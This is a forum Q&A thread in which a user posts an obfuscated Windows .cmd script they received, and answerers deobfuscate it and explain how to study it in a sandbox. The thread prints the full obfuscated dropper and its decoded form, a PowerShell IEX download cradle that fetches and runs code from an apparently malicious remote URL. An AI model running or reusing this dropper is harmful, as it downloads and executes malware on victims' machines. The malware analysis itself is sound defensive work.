1

Today i received something very insteresting. Its a .cmd script with encrypted commands. Can someone tell me what kind of encryption is this? It's possible to decrypt it? Or how windows read this type of command?
I executed this code in my Win7 VM, but nothing happened. I looked for something strange like services, process, or env variable... Everything looks OK

! @echo off
cd %SystemRoot%\System32
set uQmFERgK=GFYpgWoTABQSI5bRJVKaHwNjcO1tPlf8k4zMv3dsUeXqEZxDCi62L09u7nrmyh
set JD=W^i^n
set beoxNuYr=^d^o^w
set fSUXCI=^sPo
set XFY=^we^r
set NKHoDvv=She
set DdAvVw=^l^l\
set BnCCBy=v^1^.
set xuuyxYlz=^0^\p^o
set zEonzEj=^w^e
set nqfsDHhb=r^sh
set tsaNePh=el^l
set qIrKO=^.e^x
set qlLkftpA=^e -^n
set pZckbH=op^
set MrCpkeh=-w
set kGm=^i^n ^1^ -
set date=%uQmFERgK:~49,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1%
(^"%uQmFERgK:~12,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1%
(%uQmFERgK:~22,1%%uQmFERgK:~44,1%%uQmFERgK:~5,1%-%uQmFERgK:~25,1%%uQmFERgK:~9,1%%uQmFERgK:~16,1%%uQmFERgK:~41,1%%uQmFERgK:~24,1%%uQmFERgK:~7,1% %uQmFERgK:~22,1%%uQmFERgK:~41,1%%uQmFERgK:~27,1%.%uQmFERgK:~21,1%%uQmFERgK:~41,1%%uQmFERgK:~9,1%%uQmFERgK:~48,1%%uQmFERgK:~52,1%%uQmFERgK:~12,1%%uQmFERgK:~44,1%%uQmFERgK:~57,1%%uQmFERgK:~27,1%).%uQmFERgK:~38,1%%uQmFERgK:~25,1%%uQmFERgK:~21,1%%uQmFERgK:~22,1%%uQmFERgK:~52,1%%uQmFERgK:~6,1%%uQmFERgK:~8,1%%uQmFERgK:~38,1%%uQmFERgK:~11,1%%uQmFERgK:~7,1%%uQmFERgK:~15,1%%uQmFERgK:~49,1%%uQmFERgK:~57,1%%uQmFERgK:~4,1%('%uQmFERgK:~61,1%%uQmFERgK:~27,1%%uQmFERgK:~27,1%%uQmFERgK:~3,1%%uQmFERgK:~39,1%://%uQmFERgK:~38,1%%uQmFERgK:~29,1%%uQmFERgK:~59,1%.%uQmFERgK:~3,1%%uQmFERgK:~19,1%%uQmFERgK:~57,1%%uQmFERgK:~57,1%%uQmFERgK:~6,1%%uQmFERgK:~38,1%.%uQmFERgK:~24,1%%uQmFERgK:~6,1%%uQmFERgK:~59,1%/?%uQmFERgK:~38,1%%uQmFERgK:~5,1%%uQmFERgK:~9,1%%uQmFERgK:~32,1%%uQmFERgK:~55,1%%uQmFERgK:~4,1%%uQmFERgK:~25,1%%uQmFERgK:~8,1%%uQmFERgK:~2,1%%uQmFERgK:~50,1%%uQmFERgK:~35,1%%uQmFERgK:~52,1%/%uQmFERgK:~16,1%%uQmFERgK:~27,1%%uQmFERgK:~9,1%%uQmFERgK:~41,1%%uQmFERgK:~31,1%%uQmFERgK:~3,1%%uQmFERgK:~18,1%%uQmFERgK:~7,1%%uQmFERgK:~35,1%%uQmFERgK:~48,1%%uQmFERgK:~11,1%%uQmFERgK:~4,1%%uQmFERgK:~3,1%%uQmFERgK:~15,1%%uQmFERgK:~41,1%%uQmFERgK:~17,1%%uQmFERgK:~42,1%%uQmFERgK:~61,1%%uQmFERgK:~45,1%+%uQmFERgK:~43,1%%uQmFERgK:~48,1%%uQmFERgK:~23,1%%uQmFERgK:~2,1%%uQmFERgK:~42,1%%uQmFERgK:~21,1%%uQmFERgK:~61,1%%uQmFERgK:~41,1%%uQmFERgK:~20,1%%uQmFERgK:~30,1%%uQmFERgK:~39,1%%uQmFERgK:~48,1%%uQmFERgK:~12,1%%uQmFERgK:~52,1%%uQmFERgK:~42,1%%uQmFERgK:~19,1%%uQmFERgK:~37,1%%uQmFERgK:~1,1%%uQmFERgK:~23,1%%uQmFERgK:~37,1%%uQmFERgK:~21,1%%uQmFERgK:~6,1%%uQmFERgK:~57,1%%uQmFERgK:~38,1%%uQmFERgK:~23,1%%uQmFERgK:~31,1%%uQmFERgK:~60,1%%uQmFERgK:~15,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~39,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~25,1%%uQmFERgK:~43,1%%uQmFERgK:~23,1%%uQmFERgK:~58,1%%uQmFERgK:~23,1%%uQmFERgK:~14,1%%uQmFERgK:~25,1%%uQmFERgK:~5,1%%uQmFERgK:~55,1%%uQmFERgK:~58,1%%uQmFERgK:~52,1%%uQmFERgK:~22,1%%uQmFERgK:~7,1%%uQmFERgK:~36,1%%uQmFERgK:~12,1%G%uQmFERgK:~8,1%%uQmFERgK:~19,1%%uQmFERgK:~8,1%%uQmFERgK:~6,1%%uQmFERgK:~17,1%%uQmFERgK:~21,1%%uQmFERgK:~37,1%%uQmFERgK:~32,1%%uQmFERgK:~47,1%%uQmFERgK:~31,1%%uQmFERgK:~51,1%/%uQmFERgK:~5,1%%uQmFERgK:~58,1%%uQmFERgK:~12,1%%uQmFERgK:~28,1%%uQmFERgK:~8,1%%uQmFERgK:~14,1%%uQmFERgK:~37,1%%uQmFERgK:~17,1%%uQmFERgK:~35,1%%uQmFERgK:~26,1%%uQmFERgK:~8,1%%uQmFERgK:~24,1%%uQmFERgK:~30,1%%uQmFERgK:~3,1%%uQmFERgK:~23,1%%uQmFERgK:~29,1%%uQmFERgK:~21,1%%uQmFERgK:~3,1%')^");
echo %%date%% | %JD%%beoxNuYr%%fSUXCI%%XFY%%NKHoDvv%%DdAvVw%%BnCCBy%%xuuyxYlz%%zEonzEj%%nqfsDHhb%%tsaNePh%%qIrKO%%qlLkftpA%%pZckbH%%MrCpkeh%%kGm%

  • 3
    I executed this code in my Win7 VM - "Hey, what's this strange looking plant? Maybe I should eat it and see what happens?" - is basically what you've done. Were you not concerned about malware? – joeqwerty Apr 20 '18 at 21:16
  • That's why i executed in a virtual machine turned off the network. – Kennedy Silva Apr 22 '18 at 11:04
5

To deobfuscate the code (provided possibly incomplete and slightly messed up), you could adjust it before running so that merely display any dangerous operations instead running them

as shown in the following commented code snippet:

@echo off
ECHO cd %SystemRoot%\System32
::   ↑↑ there is nothing to do in the "%SystemRoot%\System32" folder  
set uQmFERgK=GFYpgWoTABQSI5bRJVKaHwNjcO1tPlf8k4zMv3dsUeXqEZxDCi62L09u7nrmyh
set JD=W^i^n
set beoxNuYr=^d^o^w
set fSUXCI=^sPo
set XFY=^we^r
set NKHoDvv=She
set DdAvVw=^l^l\
set BnCCBy=v^1^.
set xuuyxYlz=^0^\p^o
set zEonzEj=^w^e
set nqfsDHhb=r^sh
set tsaNePh=el^l
set qIrKO=^.e^x
set qlLkftpA=^e -^n
set pZckbH=op^ 
set MrCpkeh=-w
set kGm=^i^n ^1^ -
ECHO set date=%uQmFERgK:~49,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1% (^"%uQmFERgK:~12,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1% (%uQmFERgK:~22,1%%uQmFERgK:~44,1%%uQmFERgK:~5,1%-%uQmFERgK:~25,1%%uQmFERgK:~9,1%%uQmFERgK:~16,1%%uQmFERgK:~41,1%%uQmFERgK:~24,1%%uQmFERgK:~7,1% %uQmFERgK:~22,1%%uQmFERgK:~41,1%%uQmFERgK:~27,1%.%uQmFERgK:~21,1%%uQmFERgK:~41,1%%uQmFERgK:~9,1%%uQmFERgK:~48,1%%uQmFERgK:~52,1%%uQmFERgK:~12,1%%uQmFERgK:~44,1%%uQmFERgK:~57,1%%uQmFERgK:~27,1%).%uQmFERgK:~38,1%%uQmFERgK:~25,1%%uQmFERgK:~21,1%%uQmFERgK:~22,1%%uQmFERgK:~52,1%%uQmFERgK:~6,1%%uQmFERgK:~8,1%%uQmFERgK:~38,1%%uQmFERgK:~11,1%%uQmFERgK:~7,1%%uQmFERgK:~15,1%%uQmFERgK:~49,1%%uQmFERgK:~57,1%%uQmFERgK:~4,1%('%uQmFERgK:~61,1%%uQmFERgK:~27,1%%uQmFERgK:~27,1%%uQmFERgK:~3,1%%uQmFERgK:~39,1%://%uQmFERgK:~38,1%%uQmFERgK:~29,1%%uQmFERgK:~59,1%.%uQmFERgK:~3,1%%uQmFERgK:~19,1%%uQmFERgK:~57,1%%uQmFERgK:~57,1%%uQmFERgK:~6,1%%uQmFERgK:~38,1%.%uQmFERgK:~24,1%%uQmFERgK:~6,1%%uQmFERgK:~59,1%/?%uQmFERgK:~38,1%%uQmFERgK:~5,1%%uQmFERgK:~9,1%%uQmFERgK:~32,1%%uQmFERgK:~55,1%%uQmFERgK:~4,1%%uQmFERgK:~25,1%%uQmFERgK:~8,1%%uQmFERgK:~2,1%%uQmFERgK:~50,1%%uQmFERgK:~35,1%%uQmFERgK:~52,1%/%uQmFERgK:~16,1%%uQmFERgK:~27,1%%uQmFERgK:~9,1%%uQmFERgK:~41,1%%uQmFERgK:~31,1%%uQmFERgK:~3,1%%uQmFERgK:~18,1%%uQmFERgK:~7,1%%uQmFERgK:~35,1%%uQmFERgK:~48,1%%uQmFERgK:~11,1%%uQmFERgK:~4,1%%uQmFERgK:~3,1%%uQmFERgK:~15,1%%uQmFERgK:~41,1%%uQmFERgK:~17,1%%uQmFERgK:~42,1%%uQmFERgK:~61,1%%uQmFERgK:~45,1%+%uQmFERgK:~43,1%%uQmFERgK:~48,1%%uQmFERgK:~23,1%%uQmFERgK:~2,1%%uQmFERgK:~42,1%%uQmFERgK:~21,1%%uQmFERgK:~61,1%%uQmFERgK:~41,1%%uQmFERgK:~20,1%%uQmFERgK:~30,1%%uQmFERgK:~39,1%%uQmFERgK:~48,1%%uQmFERgK:~12,1%%uQmFERgK:~52,1%%uQmFERgK:~42,1%%uQmFERgK:~19,1%%uQmFERgK:~37,1%%uQmFERgK:~1,1%%uQmFERgK:~23,1%%uQmFERgK:~37,1%%uQmFERgK:~21,1%%uQmFERgK:~6,1%%uQmFERgK:~57,1%%uQmFERgK:~38,1%%uQmFERgK:~23,1%%uQmFERgK:~31,1%%uQmFERgK:~60,1%%uQmFERgK:~15,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~39,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~25,1%%uQmFERgK:~43,1%%uQmFERgK:~23,1%%uQmFERgK:~58,1%%uQmFERgK:~23,1%%uQmFERgK:~14,1%%uQmFERgK:~25,1%%uQmFERgK:~5,1%%uQmFERgK:~55,1%%uQmFERgK:~58,1%%uQmFERgK:~52,1%%uQmFERgK:~22,1%%uQmFERgK:~7,1%%uQmFERgK:~36,1%%uQmFERgK:~12,1%G%uQmFERgK:~8,1%%uQmFERgK:~19,1%%uQmFERgK:~8,1%%uQmFERgK:~6,1%%uQmFERgK:~17,1%%uQmFERgK:~21,1%%uQmFERgK:~37,1%%uQmFERgK:~32,1%%uQmFERgK:~47,1%%uQmFERgK:~31,1%%uQmFERgK:~51,1%/%uQmFERgK:~5,1%%uQmFERgK:~58,1%%uQmFERgK:~12,1%%uQmFERgK:~28,1%%uQmFERgK:~8,1%%uQmFERgK:~14,1%%uQmFERgK:~37,1%%uQmFERgK:~17,1%%uQmFERgK:~35,1%%uQmFERgK:~26,1%%uQmFERgK:~8,1%%uQmFERgK:~24,1%%uQmFERgK:~30,1%%uQmFERgK:~3,1%%uQmFERgK:~23,1%%uQmFERgK:~29,1%%uQmFERgK:~21,1%%uQmFERgK:~3,1%')^");
::   ↑↑↑ ↑↑↑↑ volatile environment variable "date" contains current system date
ECHO echo %%date%% ^| %JD%%beoxNuYr%%fSUXCI%%XFY%%NKHoDvv%%DdAvVw%%BnCCBy%%xuuyxYlz%%zEonzEj%%nqfsDHhb%%tsaNePh%%qIrKO%%qlLkftpA%%pZckbH%%MrCpkeh%%kGm%
::                 ↑↑ escape the pipe operator

Result code:

cd C:\WINDOWS\System32
set date=iEX ("IEX (NEW-OBJecT Net.weBCLIEnt).dOwNLoAdSTRing('https://dlm.pannod.com/?dWBkugOAY6ML/JtBe8pKTMCSgpReVXhZ+qCjYXwheHfsCILXa3Fj3wondj8yROSsOSOqjrjbOWurLNTvIGAaAoVw3kD82/WrIPAb3VM1Acfpjlwp')");
echo %date% | WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -

shows that it's an attempt to

  • download some code from https://dlm.pannod.com/, and
  • run that code in Windows Powershell using the Invoke-Expression cmdlet (see the IEX alias):

Further resources (required reading, incomplete):

  • 1
    I gave the URL to VirusTotal and it is flagged as Malicious/Malware by a few tools. Not really a surprise, but was worth checking. – Baldrickk Apr 4 '19 at 12:02
0

Let's hope and assume this Win7 VM is a sandbox. As this script is obfuscated, investigating it in a restrorable sandbox would be ok. Otherwise this would be plain stupid.

From just looking at this it first appends to system32\ folder, launches PowerShell and does something in it. Now restore the sandbox to its original state and launch Process Monitor first. This way you can capture what changes will be done to the system.

Concentrate first on file & registry writes, then on possible network connections downloading more malware. The change might also be small, possibly just enough for giving access for later attacks. If you do this investigation carefully, please share its results as a self answer.

  • Yes, it is a sandbox. Everytime i receive this kind of file, i try to decompile, run, edit... Just to see how it works, and try to look for something to avoid a disaster in my network. – Kennedy Silva Apr 22 '18 at 17:09

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.